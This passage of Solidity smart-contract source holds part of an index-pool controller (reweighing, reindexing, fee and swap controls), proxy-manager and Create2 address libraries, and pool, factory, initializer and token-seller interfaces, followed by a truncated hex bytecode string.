meta.listID,
meta.indexSize
);
}
/* ========== Pool Management ========== */
/**
* @dev Sets the premium rate on `sellerAddress` to the given rate.
*/
function updateSellerPremium(address tokenSeller, uint8 premiumPercent) external onlyOwner {
require(premiumPercent > 0 && premiumPercent < 20, "ERR_PREMIUM");
IUnboundTokenSeller(tokenSeller).setPremiumPercent(premiumPercent);
}
/**
* @dev Sets the swap fee on an index pool.
*/
function setSwapFee(address poolAddress, uint256 swapFee) external onlyOwner isInitializedPool(poolAddress) {
IIndexPool(poolAddress).setSwapFee(swapFee);
}
/**
* @dev Updates the minimum balance of an uninitialized token, which is
* useful when the token's price on the pool is too low relative to
* external prices for people to trade it in.
*/
function updateMinimumBalance(address pool, address tokenAddress) external isInitializedPool(address(pool)) {
IIndexPool.Record memory record = IIndexPool(pool).getTokenRecord(tokenAddress);
require(!record.ready, "ERR_TOKEN_READY");
uint256 poolValue = _estimatePoolValue(pool);
uint256 minimumBalance = uniswapOracle.computeAverageTokensForEth(
tokenAddress,
poolValue / 100,
SHORT_TWAP_MIN_TIME_ELAPSED,
SHORT_TWAP_MAX_TIME_ELAPSED
);
IIndexPool(pool).setMinimumBalance(tokenAddress, minimumBalance);
}
/**
* @dev Delegates a comp-like governance token from an index pool to a provided address.
*/
function delegateCompLikeTokenFromPool(
address pool,
address token,
address delegatee
)
external
onlyOwner
isInitializedPool(pool)
{
IIndexPool(pool).delegateCompLikeToken(token, delegatee);
}
/**
* @dev Enable/disable public swaps on an index pool.
* Callable by the contract owner and the `circuitBreaker` address.
*/
function setPublicSwap(address indexPool_, bool publicSwap) external isInitializedPool(indexPool_) {
require(
msg.sender == circuitBreaker || msg.sender == owner(),
"ERR_NOT_AUTHORIZED"
);
IIndexPool(indexPool_).setPublicSwap(publicSwap);
}
/* ========== Pool Rebalance Actions ========== */
/**
* @dev Re-indexes a pool by setting the underlying assets to the top
* tokens in its candidates list by score.
*/
function reindexPool(address poolAddress) external {
IndexPoolMeta storage meta = indexPoolMetadata[poolAddress];
require(meta.initialized, "ERR_POOL_NOT_FOUND");
require(
now - meta.lastReweigh >= POOL_REWEIGH_DELAY,
"ERR_POOL_REWEIGH_DELAY"
);
require(
(++meta.reweighIndex % (REWEIGHS_BEFORE_REINDEX + 1)) == 0,
"ERR_REWEIGH_INDEX"
);
_reindexPool(meta, poolAddress);
}
function forceReindexPool(address poolAddress) external onlyOwner {
IndexPoolMeta storage meta = indexPoolMetadata[poolAddress];
uint8 divisor = REWEIGHS_BEFORE_REINDEX + 1;
uint8 remainder = ++meta.reweighIndex % divisor;
meta.reweighIndex += divisor - remainder;
_reindexPool(meta, poolAddress);
}
function _reindexPool(IndexPoolMeta storage meta, address poolAddress) internal {
uint256 size = meta.indexSize;
(address[] memory tokens, uint256[] memory scores) = getTopTokensAndScores(meta.listID, size);
uint256 wethValue = _estimatePoolValue(poolAddress);
uint256 minValue = wethValue / 100;
uint256[] memory ethValues = new uint256[](size);
for (uint256 i = 0; i < size; i++){
ethValues[i] = minValue;
}
uint256[] memory minimumBalances = uniswapOracle.computeAverageTokensForEth(
tokens,
ethValues,
SHORT_TWAP_MIN_TIME_ELAPSED,
SHORT_TWAP_MAX_TIME_ELAPSED
);
uint96[] memory denormalizedWeights = scores.computeDenormalizedWeights();
meta.lastReweigh = uint64(now);
IIndexPool(poolAddress).reindexTokens(
tokens,
denormalizedWeights,
minimumBalances
);
}
/**
* @dev Reweighs the assets in a pool by their scores and sets the
* desired new weights, which will be adjusted over time.
*/
function reweighPool(address poolAddress) external {
IndexPoolMeta memory meta = indexPoolMetadata[poolAddress];
require(meta.initialized, "ERR_POOL_NOT_FOUND");
require(
now - meta.lastReweigh >= POOL_REWEIGH_DELAY,
"ERR_POOL_REWEIGH_DELAY"
);
require(
(++meta.reweighIndex % (REWEIGHS_BEFORE_REINDEX + 1)) != 0,
"ERR_REWEIGH_INDEX"
);
TokenList storage list = _lists[meta.listID];
address[] memory tokens = IIndexPool(poolAddress).getCurrentDesiredTokens();
uint256[] memory scores = IScoringStrategy(list.scoringStrategy).getTokenScores(tokens);
uint96[] memory denormalizedWeights = scores.computeDenormalizedWeights();
meta.lastReweigh = uint64(now);
indexPoolMetadata[poolAddress] = meta;
IIndexPool(poolAddress).reweighTokens(tokens, denormalizedWeights);
}
/* ========== Pool Queries ========== */
/**
* @dev Compute the create2 address for a pool initializer.
*/
function computeInitializerAddress(address poolAddress)
public
view
returns (address initializerAddress)
{
initializerAddress = SaltyLib.computeProxyAddressManyToOne(
address(proxyManager),
address(this),
INITIALIZER_IMPLEMENTATION_ID,
keccak256(abi.encodePacked(poolAddress))
);
}
/**
* @dev Compute the create2 address for a pool's unbound token seller.
*/
function computeSellerAddress(address poolAddress)
public
view
returns (address sellerAddress)
{
sellerAddress = SaltyLib.computeProxyAddressManyToOne(
address(proxyManager),
address(this),
SELLER_IMPLEMENTATION_ID,
keccak256(abi.encodePacked(poolAddress))
);
}
/**
* @dev Compute the create2 address for a pool.
*/
function computePoolAddress(uint256 listID, uint256 indexSize)
public
view
returns (address poolAddress)
{
poolAddress = SaltyLib.computeProxyAddressManyToOne(
address(proxyManager),
address(poolFactory),
POOL_IMPLEMENTATION_ID,
keccak256(abi.encodePacked(
address(this),
keccak256(abi.encodePacked(listID, indexSize))
))
);
}
/**
* @dev Queries the top `indexSize` tokens in a list from the market oracle,
* computes their relative weights and determines the weighted balance of each
* token to meet a specified total value.
*/
function getInitialTokensAndBalances(
uint256 listID,
uint256 indexSize,
uint256 wethValue
)
public
view
returns (
address[] memory tokens,
uint256[] memory balances
)
{
uint256[] memory scores;
(tokens, scores) = getTopTokensAndScores(listID, indexSize);
uint256[] memory relativeEthValues = wethValue.computeProportionalAmounts(scores);
balances = uniswapOracle.computeAverageTokensForEth(
tokens,
relativeEthValues,
SHORT_TWAP_MIN_TIME_ELAPSED,
SHORT_TWAP_MAX_TIME_ELAPSED
);
uint256 len = balances.length;
for (uint256 i = 0; i < len; i++) {
require(balances[i] >= MIN_BALANCE, "ERR_MIN_BALANCE");
}
}
/* ========== Internal Pool Utility Functions ========== */
/**
* @dev Estimate the total value of a pool by taking its first token's
* "virtual balance" (balance * (totalWeight/weight)) and multiplying
* by that token's average ether price from UniSwap.
*/
function _estimatePoolValue(address pool) internal view returns (uint256) {
(address token, uint256 value) = IIndexPool(pool).extrapolatePoolValueFromToken();
return uniswapOracle.computeAverageEthForTokens(
token,
value,
SHORT_TWAP_MIN_TIME_ELAPSED,
SHORT_TWAP_MAX_TIME_ELAPSED
);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
/**
* @dev Contract that manages deployment and upgrades of delegatecall proxies.
*
* An implementation identifier can be created on the proxy manager which is
* used to specify the logic address for a particular contract type, and to
* upgrade the implementation as needed.
*
* A one-to-one proxy is a single proxy contract with an upgradeable implementation
* address.
*
* A many-to-one proxy is a single upgradeable implementation address that may be
* used by many proxy contracts.
*/
interface IDelegateCallProxyManager {
/* ========== Events ========== */
event DeploymentApprovalGranted(address deployer);
event DeploymentApprovalRevoked(address deployer);
event ManyToOne_ImplementationCreated(
bytes32 implementationID,
address implementationAddress
);
event ManyToOne_ImplementationUpdated(
bytes32 implementationID,
address implementationAddress
);
event ManyToOne_ProxyDeployed(
bytes32 implementationID,
address proxyAddress
);
event OneToOne_ProxyDeployed(
address proxyAddress,
address implementationAddress
);
event OneToOne_ImplementationUpdated(
address proxyAddress,
address implementationAddress
);
/* ========== Controls ========== */
/**
* @dev Allows `deployer` to deploy many-to-one proxies.
*/
function approveDeployer(address deployer) external;
/**
* @dev Prevents `deployer` from deploying many-to-one proxies.
*/
function revokeDeployerApproval(address deployer) external;
/* ========== Implementation Management ========== */
/**
* @dev Creates a many-to-one proxy relationship.
*
* Deploys an implementation holder contract which stores the
* implementation address for many proxies. The implementation
* address can be updated on the holder to change the runtime
* code used by all its proxies.
*
* @param implementationID ID for the implementation, used to identify the
* proxies that use it. Also used as the salt in the create2 call when
* deploying the implementation holder contract.
* @param implementation Address with the runtime code the proxies
* should use.
*/
function createManyToOneProxyRelationship(
bytes32 implementationID,
address implementation
) external;
/**
* @dev Lock the current implementation for `proxyAddress` so that it can never be upgraded again.
*/
function lockImplementationManyToOne(bytes32 implementationID) external;
/**
* @dev Lock the current implementation for `proxyAddress` so that it can never be upgraded again.
*/
function lockImplementationOneToOne(address proxyAddress) external;
/**
* @dev Updates the implementation address for a many-to-one
* proxy relationship.
*
* @param implementationID Identifier for the implementation.
* @param implementation Address with the runtime code the proxies
* should use.
*/
function setImplementationAddressManyToOne(
bytes32 implementationID,
address implementation
) external;
/**
* @dev Updates the implementation address for a one-to-one proxy.
*
* Note: This could work for many-to-one as well if the caller
* provides the implementation holder address in place of the
* proxy address, as they use the same access control and update
* mechanism.
*
* @param proxyAddress Address of the deployed proxy
* @param implementation Address with the runtime code for
* the proxy to use.
*/
function setImplementationAddressOneToOne(
address proxyAddress,
address implementation
) external;
/* ========== Proxy Deployment ========== */
/**
* @dev Deploy a proxy contract with a one-to-one relationship
* with its implementation.
*
* The proxy will have its own implementation address which can
* be updated by the proxy manager.
*
* @param suppliedSalt Salt provided by the account requesting deployment.
* @param implementation Address of the contract with the runtime
* code that the proxy should use.
*/
function deployProxyOneToOne(
bytes32 suppliedSalt,
address implementation
) external returns(address proxyAddress);
/**
* @dev Deploy a proxy with a many-to-one relationship with its implemenation.
*
* The proxy will call the implementation holder for every transaction to
* determine the address to use in calls.
*
* @param implementationID Identifier for the proxy's implementation.
* @param suppliedSalt Salt provided by the account requesting deployment.
*/
function deployProxyManyToOne(
bytes32 implementationID,
bytes32 suppliedSalt
) external returns(address proxyAddress);
/* ========== Queries ========== */
/**
* @dev Returns a boolean stating whether `implementationID` is locked.
*/
function isImplementationLocked(bytes32 implementationID) external view returns (bool);
/**
* @dev Returns a boolean stating whether `proxyAddress` is locked.
*/
function isImplementationLocked(address proxyAddress) external view returns (bool);
/**
* @dev Returns a boolean stating whether `deployer` is allowed to deploy many-to-one
* proxies.
*/
function isApprovedDeployer(address deployer) external view returns (bool);
/**
* @dev Queries the temporary storage value `_implementationHolder`.
* This is used in the constructor of the many-to-one proxy contract
* so that the create2 address is static (adding constructor arguments
* would change the codehash) and the implementation holder can be
* stored as a constant.
*/
function getImplementationHolder() external view returns (address);
/**
* @dev Returns the address of the implementation holder contract
* for `implementationID`.
*/
function getImplementationHolder(bytes32 implementationID) external view returns (address);
/**
* @dev Computes the create2 address for a one-to-one proxy requested
* by `originator` using `suppliedSalt`.
*
* @param originator Address of the account requesting deployment.
* @param suppliedSalt Salt provided by the account requesting deployment.
*/
function computeProxyAddressOneToOne(
address originator,
bytes32 suppliedSalt
) external view returns (address);
/**
* @dev Computes the create2 address for a many-to-one proxy for the
* implementation `implementationID` requested by `originator` using
* `suppliedSalt`.
*
* @param originator Address of the account requesting deployment.
* @param implementationID The identifier for the contract implementation.
* @param suppliedSalt Salt provided by the account requesting deployment.
*/
function computeProxyAddressManyToOne(
address originator,
bytes32 implementationID,
bytes32 suppliedSalt
) external view returns (address);
/**
* @dev Computes the create2 address of the implementation holder
* for `implementationID`.
*
* @param implementationID The identifier for the contract implementation.
*/
function computeHolderAddressManyToOne(bytes32 implementationID) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
/* --- External Libraries --- */
import { Create2 } from "@openzeppelin/contracts/utils/Create2.sol";
/* --- Proxy Contracts --- */
import { CodeHashes } from "./CodeHashes.sol";
/**
* @dev Library for computing create2 salts and addresses for proxies
* deployed by `DelegateCallProxyManager`.
*
* Because the proxy factory is meant to be used by multiple contracts,
* we use a salt derivation pattern that includes the address of the
* contract that requested the proxy deployment, a salt provided by that
* contract and the implementation ID used (for many-to-one proxies only).
*/
library SaltyLib {
/* --- Salt Derivation --- */
/**
* @dev Derives the create2 salt for a many-to-one proxy.
*
* Many different contracts in the Indexed framework may use the
* same implementation contract, and they all use the same init
* code, so we derive the actual create2 salt from a combination
* of the implementation ID, the address of the account requesting
* deployment and the user-supplied salt.
*
* @param originator Address of the account requesting deployment.
* @param implementationID The identifier for the contract implementation.
* @param suppliedSalt Salt provided by the account requesting deployment.
*/
function deriveManyToOneSalt(
address originator,
bytes32 implementationID,
bytes32 suppliedSalt
)
internal
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
originator,
implementationID,
suppliedSalt
)
);
}
/**
* @dev Derives the create2 salt for a one-to-one proxy.
*
* @param originator Address of the account requesting deployment.
* @param suppliedSalt Salt provided by the account requesting deployment.
*/
function deriveOneToOneSalt(
address originator,
bytes32 suppliedSalt
)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(originator, suppliedSalt));
}
/* --- Address Derivation --- */
/**
* @dev Computes the create2 address for a one-to-one proxy deployed
* by `deployer` (the factory) when requested by `originator` using
* `suppliedSalt`.
*
* @param deployer Address of the proxy factory.
* @param originator Address of the account requesting deployment.
* @param suppliedSalt Salt provided by the account requesting deployment.
*/
function computeProxyAddressOneToOne(
address deployer,
address originator,
bytes32 suppliedSalt
)
internal
pure
returns (address)
{
bytes32 salt = deriveOneToOneSalt(originator, suppliedSalt);
return Create2.computeAddress(salt, CodeHashes.ONE_TO_ONE_CODEHASH, deployer);
}
/**
* @dev Computes the create2 address for a many-to-one proxy for the
* implementation `implementationID` deployed by `deployer` (the factory)
* when requested by `originator` using `suppliedSalt`.
*
* @param deployer Address of the proxy factory.
* @param originator Address of the account requesting deployment.
* @param implementationID The identifier for the contract implementation.
* @param suppliedSalt Salt provided by the account requesting deployment.
*/
function computeProxyAddressManyToOne(
address deployer,
address originator,
bytes32 implementationID,
bytes32 suppliedSalt
)
internal
pure
returns (address)
{
bytes32 salt = deriveManyToOneSalt(
originator,
implementationID,
suppliedSalt
);
return Create2.computeAddress(salt, CodeHashes.MANY_TO_ONE_CODEHASH, deployer);
}
/**
* @dev Computes the create2 address of the implementation holder
* for `implementationID`.
*
* @param deployer Address of the proxy factory.
* @param implementationID The identifier for the contract implementation.
*/
function computeHolderAddressManyToOne(
address deployer,
bytes32 implementationID
)
internal
pure
returns (address)
{
return Create2.computeAddress(
implementationID,
CodeHashes.IMPLEMENTATION_HOLDER_CODEHASH,
deployer
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer.
* `CREATE2` can be used to compute in advance the address where a smart
* contract will be deployed, which allows for interesting new mechanisms known
* as 'counterfactual interactions'.
*
* See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more
* information.
*/
library Create2 {
/**
* @dev Deploys a contract using `CREATE2`. The address where the contract
* will be deployed can be known in advance via {computeAddress}.
*
* The bytecode for a contract can be obtained from Solidity with
* `type(contractName).creationCode`.
*
* Requirements:
*
* - `bytecode` must not be empty.
* - `salt` must have not been used for `bytecode` already.
* - the factory must have a balance of at least `amount`.
* - if `amount` is non-zero, `bytecode` must have a `payable` constructor.
*/
function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) internal returns (address) {
address addr;
require(address(this).balance >= amount, "Create2: insufficient balance");
require(bytecode.length != 0, "Create2: bytecode length is zero");
// solhint-disable-next-line no-inline-assembly
assembly {
addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)
}
require(addr != address(0), "Create2: Failed on deploy");
return addr;
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the
* `bytecodeHash` or `salt` will result in a new destination address.
*/
function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) {
return computeAddress(salt, bytecodeHash, address(this));
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at
* `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.
*/
function computeAddress(bytes32 salt, bytes32 bytecodeHash, address deployer) internal pure returns (address) {
bytes32 _data = keccak256(
abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash)
);
return address(uint256(_data));
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
/**
* @dev Because we use the code hashes of the proxy contracts for proxy address
* derivation, it is important that other packages have access to the correct
* values when they import the salt library.
*/
library CodeHashes {
bytes32 internal constant ONE_TO_ONE_CODEHASH = 0x63d9f7b5931b69188c8f6b806606f25892f1bb17b7f7e966fe3a32c04493aee4;
bytes32 internal constant MANY_TO_ONE_CODEHASH = 0xa035ad05a1663db5bfd455b99cd7c6ac6bd49269738458eda140e0b78ed53f79;
bytes32 internal constant IMPLEMENTATION_HOLDER_CODEHASH = 0x11c370493a726a0ffa93d42b399ad046f1b5a543b6e72f1a64f1488dc1c58f2c;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
interface IIndexPool {
/**
* @dev Token record data structure
* @param bound is token bound to pool
* @param ready has token been initialized
* @param lastDenormUpdate timestamp of last denorm change
* @param denorm denormalized weight
* @param desiredDenorm desired denormalized weight (used for incremental changes)
* @param index index of address in tokens array
* @param balance token balance
*/
struct Record {
bool bound;
bool ready;
uint40 lastDenormUpdate;
uint96 denorm;
uint96 desiredDenorm;
uint8 index;
uint256 balance;
}
event LOG_SWAP(
address indexed caller,
address indexed tokenIn,
address indexed tokenOut,
uint256 tokenAmountIn,
uint256 tokenAmountOut
);
event LOG_JOIN(
address indexed caller,
address indexed tokenIn,
uint256 tokenAmountIn
);
event LOG_EXIT(
address indexed caller,
address indexed tokenOut,
uint256 tokenAmountOut
);
event LOG_DENORM_UPDATED(address indexed token, uint256 newDenorm);
event LOG_DESIRED_DENORM_SET(address indexed token, uint256 desiredDenorm);
event LOG_TOKEN_REMOVED(address token);
event LOG_TOKEN_ADDED(
address indexed token,
uint256 desiredDenorm,
uint256 minimumBalance
);
event LOG_MINIMUM_BALANCE_UPDATED(address token, uint256 minimumBalance);
event LOG_TOKEN_READY(address indexed token);
event LOG_PUBLIC_SWAP_TOGGLED(bool enabled);
event LOG_MAX_TOKENS_UPDATED(uint256 maxPoolTokens);
event LOG_SWAP_FEE_UPDATED(uint256 swapFee);
function configure(
address controller,
string calldata name,
string calldata symbol
) external;
function initialize(
address[] calldata tokens,
uint256[] calldata balances,
uint96[] calldata denorms,
address tokenProvider,
address unbindHandler,
address exitFeeRecipient
) external;
function setSwapFee(uint256 swapFee) external;
function delegateCompLikeToken(address token, address delegatee) external;
function setExitFeeRecipient(address) external;
function setPublicSwap(bool enabled) external;
function reweighTokens(
address[] calldata tokens,
uint96[] calldata desiredDenorms
) external;
function reindexTokens(
address[] calldata tokens,
uint96[] calldata desiredDenorms,
uint256[] calldata minimumBalances
) external;
function setMinimumBalance(address token, uint256 minimumBalance) external;
function joinPool(uint256 poolAmountOut, uint256[] calldata maxAmountsIn) external;
function joinswapExternAmountIn(
address tokenIn,
uint256 tokenAmountIn,
uint256 minPoolAmountOut
) external returns (uint256/* poolAmountOut */);
function joinswapPoolAmountOut(
address tokenIn,
uint256 poolAmountOut,
uint256 maxAmountIn
) external returns (uint256/* tokenAmountIn */);
function exitPool(uint256 poolAmountIn, uint256[] calldata minAmountsOut) external;
function exitswapPoolAmountIn(
address tokenOut,
uint256 poolAmountIn,
uint256 minAmountOut
)
external returns (uint256/* tokenAmountOut */);
function exitswapExternAmountOut(
address tokenOut,
uint256 tokenAmountOut,
uint256 maxPoolAmountIn
) external returns (uint256/* poolAmountIn */);
function gulp(address token) external;
function swapExactAmountIn(
address tokenIn,
uint256 tokenAmountIn,
address tokenOut,
uint256 minAmountOut,
uint256 maxPrice
) external returns (uint256/* tokenAmountOut */, uint256/* spotPriceAfter */);
function swapExactAmountOut(
address tokenIn,
uint256 maxAmountIn,
address tokenOut,
uint256 tokenAmountOut,
uint256 maxPrice
) external returns (uint256 /* tokenAmountIn */, uint256 /* spotPriceAfter */);
function isPublicSwap() external view returns (bool);
function getSwapFee() external view returns (uint256/* swapFee */);
function getController() external view returns (address);
function getExitFeeRecipient() external view returns (address);
function isBound(address t) external view returns (bool);
function getNumTokens() external view returns (uint256);
function getCurrentTokens() external view returns (address[] memory tokens);
function getCurrentDesiredTokens() external view returns (address[] memory tokens);
function getDenormalizedWeight(address token) external view returns (uint256/* denorm */);
function getTokenRecord(address token) external view returns (Record memory record);
function extrapolatePoolValueFromToken() external view returns (address/* token */, uint256/* extrapolatedValue */);
function getTotalDenormalizedWeight() external view returns (uint256);
function getBalance(address token) external view returns (uint256);
function getMinimumBalance(address token) external view returns (uint256);
function getUsedBalance(address token) external view returns (uint256);
function getSpotPrice(address tokenIn, address tokenOut) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
import "@indexed-finance/proxies/contracts/interfaces/IDelegateCallProxyManager.sol";
interface IPoolFactory {
/* ========== Events ========== */
event NewPool(address pool, address controller, bytes32 implementationID);
/* ========== Mutative ========== */
function approvePoolController(address controller) external;
function disapprovePoolController(address controller) external;
function deployPool(bytes32 implementationID, bytes32 controllerSalt) external returns (address);
/* ========== Views ========== */
function proxyManager() external view returns (IDelegateCallProxyManager);
function isApprovedController(address) external view returns (bool);
function getPoolImplementationID(address) external view returns (bytes32);
function isRecognizedPool(address pool) external view returns (bool);
function computePoolAddress(
bytes32 implementationID,
address controller,
bytes32 controllerSalt
) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
interface IPoolInitializer {
/* ========== Events ========== */
event TokensContributed(
address from,
address token,
uint256 amount,
uint256 credit
);
/* ========== Mutative ========== */
function initialize(
address controller,
address poolAddress,
address[] calldata tokens,
uint256[] calldata amounts
) external;
function finish() external;
function claimTokens() external;
function claimTokens(address account) external;
function claimTokens(address[] calldata accounts) external;
function contributeTokens(
address token,
uint256 amountIn,
uint256 minimumCredit
) external returns (uint256);
function contributeTokens(
address[] calldata tokens,
uint256[] calldata amountsIn,
uint256 minimumCredit
) external returns (uint256);
function updatePrices() external;
/* ========== Views ========== */
function isFinished() external view returns (bool);
function getTotalCredit() external view returns (uint256);
function getCreditOf(address account) external view returns (uint256);
function getDesiredTokens() external view returns (address[] memory);
function getDesiredAmount(address token) external view returns (uint256);
function getDesiredAmounts(address[] calldata tokens) external view returns (uint256[] memory);
function getCreditForTokens(address token, uint256 amountIn) external view returns (uint144);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
interface IUnboundTokenSeller {
/* ========== Events ========== */
event PremiumPercentSet(uint8 premium);
event NewTokensToSell(address indexed token, uint256 amountReceived);
event SwappedTokens(
address indexed tokenSold,
address indexed tokenBought,
uint256 soldAmount,
uint256 boughtAmount
);
/* ========== Mutative ========== */
function initialize(address controller_, address pool, uint8 premiumPercent) external;
function handleUnbindToken(address token, uint256 amount) external;
function setPremiumPercent(uint8 premiumPercent) external;
function executeSwapTokensForExactTokens(
address tokenIn,
address tokenOut,
uint256 amountOut,
address[] calldata path
) external returns (uint256);
function executeSwapExactTokensForTokens(
address tokenIn,
address tokenOut,
uint256 amountIn,
address[] calldata path
) external returns (uint256);
function swapExactTokensForTokens(
address tokenIn,
address tokenOut,
uint256 amountIn,
uint256 minAmountOut
) external returns (uint256);
function swapTokensForExactTokens(
address tokenIn,
address tokenOut,
uint256 amountOut,
uint256 maxAmountIn
) external returns (uint256);
/* ========== Views ========== */
function getPremiumPercent() external view returns (uint8);
function calcInGivenOut(
address tokenIn,
address tokenOut,
uint256 amountOut
) external view returns (uint256);
function calcOutGivenIn(
address tokenIn,
address tokenOut,
uint256 amountIn
) external view returns (uint256);
} | 0x608060405234801561001057600080fd5b50600436106103275760003560e01c8063867378c5116101b8578063b3ec862e11610104578063df8e238a116100a2578063f2d754711161007c578063f2d7547114610697578063f2fde38b146106aa578063f52a4f26146106bd578063fa7c0b5e146106c557610327565b8063df8e238a14610669578063e9819daf1461067c578063ec0915c71461068f57610327565b8063c6acb34f116100de578063c6acb34f1461061b578063d600751d1461062e578063dcdf7e1614610636578063de16eb991461064957610327565b8063b3ec862e146105f8578063c4d66de814610600578063c5ea91e11461061357610327565b8063991991c711610171578063a34fefdd1161014b578063a34fefdd146105d8578063a43ad7e7146105e0578063a8eb80ab146105e8578063acbfc96d146105f057610327565b8063991991c71461058e5780639dd19a52146105a15780639dfab092146105b457610327565b8063867378c51461053057806388b9813a1461053857806388d6c0961461054b5780638a15f9641461055e5780638da5cb5b1461057e57806396b4ca701461058657610327565b806350b1e34211610277578063715018a6116102305780638129fc1c1161020a5780638129fc1c146104fa57806382beee8914610502578063830b6b0b14610515578063861a9ec91461051d57610327565b8063715018a6146104b057806374a58783146104b8578063774cf0cb146104d957610327565b806350b1e3421461043c57806353304eb91461044f57806357016b0a14610464578063582edc9b146104775780636a7a93ed1461048a5780636b5b88081461049d57610327565b8063250436fd116102e4578063372accd2116102be578063372accd2146103f75780633d89da251461040c57806341b63bd8146104145780634219dc401461043457610327565b8063250436fd146103af578063297c3430146103c457806333fe5676146103e457610327565b8063034b904e1461032c5780630fae382814610341578063120c6c5b1461035457806313b753601461037257806316efd941146103945780631eccc1851461039c575b600080fd5b61033f61033a366004613bf7565b6106d8565b005b61033f61034f366004613bbf565b6108e7565b61035c610989565b6040516103699190614476565b60405180910390f35b610385610380366004614063565b6109ad565b604051610369939291906145af565b61035c610a1d565b61033f6103aa366004613cf8565b610a2c565b6103b7610b16565b60405161036991906148ac565b6103d76103d2366004614100565b610b3a565b6040516103699190614859565b61033f6103f2366004614093565b610c07565b6103ff610e35565b6040516103699190614e57565b6103ff610e3e565b610427610422366004614063565b610e43565b60405161036991906146e9565b61035c610ee2565b61033f61044a366004613bbf565b610f06565b610457610fcb565b6040516103699190614e46565b61033f610472366004614093565b610fd1565b61035c610485366004613bbf565b61114f565b61033f610498366004613c79565b6111c9565b61033f6104ab3660046140b7565b611664565b61033f61181f565b6104cb6104c63660046141f0565b6118a2565b60405161036992919061448a565b6104ec6104e73660046141c5565b611d61565b6040516103699291906146fc565b61033f611e89565b61033f610510366004613bbf565b611e93565b6103b7611eea565b6104ec61052b3660046141a4565b611ef1565b6103b7611f5f565b61033f610546366004614063565b611f66565b61033f610559366004613f72565b61216f565b61057161056c366004614093565b6122d8565b604051610369919061486c565b61035c612339565b61035c612348565b61033f61059c366004613d25565b61236c565b61035c6105af3660046141a4565b612407565b6105c76105c2366004613bbf565b6124b1565b604051610369959493929190614877565b6104576124f8565b6103b76124ff565b61035c612505565b6103b7612529565b6103b761252e565b61033f61060e366004613bbf565b612533565b6103b761256b565b61033f610629366004613c2f565b61258f565b61035c612664565b61033f610644366004613d7d565b612673565b61065c610657366004614063565b612734565b604051610369919061481f565b61033f610677366004614279565b612818565b61033f61068a366004613bbf565b612895565b6103b7612b92565b6104ec6106a5366004614063565b612b97565b61033f6106b8366004613bbf565b612ce8565b6103b7612d9e565b61035c6106d3366004613bbf565b612dc2565b6001600160a01b038216600090815260056020526040902054829060ff1661071b5760405162461bcd60e51b815260040161071290614b69565b60405180910390fd5b610723613a11565b6040516364c7d66160e01b81526001600160a01b038516906364c7d6619061074f908690600401614476565b60e06040518083038186803b15801561076757600080fd5b505afa15801561077b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079f9190613fc2565b90508060200151156107c35760405162461bcd60e51b815260040161071290614d3f565b60006107ce85612e1b565b905060006001600160a01b037f000000000000000000000000fa5a44d3ba93d666bf29c8804a36e725ecac659a16634f2acedf86606485046104b06202a3006040518563ffffffff1660e01b815260040161082c94939291906145f2565b60206040518083038186803b15801561084457600080fd5b505afa158015610858573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087c919061407b565b60405163a49c44d760e01b81529091506001600160a01b0387169063a49c44d7906108ad90889085906004016145d9565b600060405180830381600087803b1580156108c757600080fd5b505af11580156108db573d6000803e3d6000fd5b50505050505050505050565b6108ef612f46565b6000546001600160a01b0390811691161461091c5760405162461bcd60e51b815260040161071290614bfe565b6001600160a01b03811660009081526005602052604090208054600160201b80820460ff908116600101808216830264ff00000000199485161793841660039091166004818103958590048416959095019092169092029190911783556109838385612f4a565b50505050565b7f000000000000000000000000fa5a44d3ba93d666bf29c8804a36e725ecac659a81565b60008060008360025481111580156109c55750600081115b6109e15760405162461bcd60e51b815260040161071290614cc8565b505050600091825250600360205260409020600181015490546001600160a01b03909116916001600160801b0380831692600160801b90041690565b6006546001600160a01b031681565b6001600160a01b038216600090815260056020526040902054829060ff16610a665760405162461bcd60e51b815260040161071290614b69565b6006546001600160a01b0316331480610a975750610a82612339565b6001600160a01b0316336001600160a01b0316145b610ab35760405162461bcd60e51b815260040161071290614ae0565b6040516324dacaa960e11b81526001600160a01b038416906349b5955290610adf90859060040161486c565b600060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b50505050505050565b7f42fdd905bf1f3fac3b475cdca7cc127db3a757ae179f57c9da3b4787f5f5820681565b6060826002548111158015610b4f5750600081115b610b6b5760405162461bcd60e51b815260040161071290614cc8565b60008481526003602052604090819020600101549051631a86165360e01b81526001600160a01b0390911690631a86165390610bab9086906004016146e9565b60006040518083038186803b158015610bc357600080fd5b505afa158015610bd7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610bff9190810190613ed3565b949350505050565b610c0f612f46565b6000546001600160a01b03908116911614610c3c5760405162461bcd60e51b815260040161071290614bfe565b816002548111158015610c4f5750600081115b610c6b5760405162461bcd60e51b815260040161071290614cc8565b6000838152600360205260408120600281015490919080610c9e5760405162461bcd60e51b815260040161071290614ced565b6001600160a01b038516600090815260038401602052604090205460ff16610cd85760405162461bcd60e51b815260040161071290614a0a565b6001600160a01b03851660009081526003840160205260409020805460ff191690555b80821015610e2c57846001600160a01b0316836002018381548110610d1c57fe